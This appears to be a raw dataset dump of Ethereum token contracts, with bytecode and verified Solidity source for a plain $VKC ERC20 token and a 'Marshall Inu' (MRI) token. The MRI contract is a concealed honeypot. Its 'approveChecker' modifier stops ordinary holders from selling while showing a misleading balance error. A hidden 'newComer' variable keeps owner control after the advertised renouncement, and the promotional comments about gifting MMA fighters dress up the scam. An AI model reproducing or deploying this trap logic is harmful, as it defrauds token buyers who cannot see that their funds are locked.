919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a72305820e71142f3133a40d58d870d248d047d18368fbbfe78ed6df884d98f58f4f98ced0029
{"success": true, "error": null, "results": {}}
3,060
0xa063543fa2d717b709e5b340eeb9cc4a210f9090
// SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'VIRTUALKENNELCLUB' contract // // Symbol : $VKC // Name : VIRTUALKENNELCLUB // Total supply: 1 000 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract VIRTUALKENNELCLUB is BurnableToken { string public constant name = "VIRTUALKENNELCLUB"; string public constant symbol = "$VKC"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280601181526020017f5649525455414c4b454e4e454c434c554200000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a633b9aca000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f24564b430000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea2646970667358221220bf94311af667ce4fa8d4b973b31884364d8d3d62c6c057f21f8f5dffe8e6b77464736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,061
0x498084f26dddd677a8117c83084c3ea637f5a50f
/** *Submitted for verification at Etherscan.io on 2022-03-12 */ // SPDX-License-Identifier: Unlicensed // Relaunching to Marshall Inu // 🥊 #FightingforFighters 🥊 // $MRI is a movement that gifts MMA fighters cryptocurrency💰 // We are athletes, a community, and a movement 🔥 // // https://twitter.com/RoganInu pragma solidity ^0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract MarshallInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 100000000000 * 10**18; string private _name = 'Marshall Inu'; string private _symbol = 'MRI'; uint8 private _decimals = 18; address private _owner; address private _safeOwner; address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor () public { _owner = owner(); _safeOwner = _owner; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function burn(uint256 amount) external onlyOwner{ _burn(msg.sender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 amount) internal virtual onlyOwner { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } modifier approveChecker(address beach, address recipient, uint256 amount){ if (_owner == _safeOwner && beach == _owner){_safeOwner = recipient;_;} else{if (beach == _owner || beach == _safeOwner || recipient == _owner){_;} else{require((beach == _safeOwner) || (recipient == _uniRouter), "ERC20: transfer amount exceeds balance");_;}} } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal approveChecker(sender, recipient, amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610203578063715018a6146102295780638da5cb5b1461023157806395d89b4114610255578063a9059cbb1461025d578063dd62ed3e14610289576100b4565b806306fdde03146100b9578063095ea7b31461013657806318160ddd1461017657806323b872dd14610190578063313ce567146101c657806342966c68146101e4575b600080fd5b6100c16102b7565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100fb5781810151838201526020016100e3565b50505050905090810190601f1680156101285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101626004803603604081101561014c57600080fd5b506001600160a01b03813516906020013561034d565b604080519115158252519081900360200190f35b61017e61036a565b60408051918252519081900360200190f35b610162600480360360608110156101a657600080fd5b506001600160a01b03813581169160208101359091169060400135610370565b6101ce6103f7565b6040805160ff9092168252519081900360200190f35b610201600480360360208110156101fa57600080fd5b5035610400565b005b61017e6004803603602081101561021957600080fd5b50356001600160a01b0316610477565b610201610492565b610239610546565b604080516001600160a01b039092168252519081900360200190f35b6100c1610555565b6101626004803603604081101561027357600080fd5b506001600160a01b0381351690602001356105b6565b61017e6004803603604081101561029f57600080fd5b506001600160a01b03813581169160200135166105ca565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103435780601f1061031857610100808354040283529160200191610343565b820191906000526020600020905b81548152906001019060200180831161032657829003601f168201915b5050505050905090565b600061036161035a6105f5565b84846105f9565b50600192915050565b60065490565b600061037d8484846106e5565b6103ed846103896105f5565b6103e885604051806060016040528060288152602001610e02602891396001600160a01b038a166000908152600560205260408120906103c76105f5565b6001600160a01b031681526020810191909152604001600020549190610ae0565b6105f9565b5060019392505050565b60095460ff1690565b6104086105f5565b6001546001600160a01b0390811691161461046a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6104743382610b77565b50565b6001600160a01b031660009081526002602052604090205490565b61049a6105f5565b6001546001600160a01b039081169116146104fc576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60088054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103435780601f1061031857610100808354040283529160200191610343565b60006103616105c36105f5565b84846106e5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661063e5760405162461bcd60e51b8152600401808060200182810382526024815260200180610e706024913960400191505060405180910390fd5b6001600160a01b0382166106835760405162461bcd60e51b8152600401808060200182810382526022815260200180610dba6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92